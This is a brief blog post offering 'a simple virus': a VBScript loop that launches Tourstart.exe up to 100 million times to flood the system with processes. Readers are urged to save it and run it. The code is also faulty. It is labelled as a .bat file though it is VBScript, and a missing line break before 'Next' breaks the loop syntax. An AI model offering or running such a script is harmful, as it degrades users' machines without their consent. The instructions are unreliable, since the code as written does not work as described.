Writing your own computer virus

Well people,this is a blog for computer science guys,so if you understand the language go ahead.
Am illustarting how to write a script for a simple virus.We shall then discus it later.This virus doesn`t spoil your pc but will just annoy you.
Remember to save it in notepad as .bat file. click on it to experiment

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"Next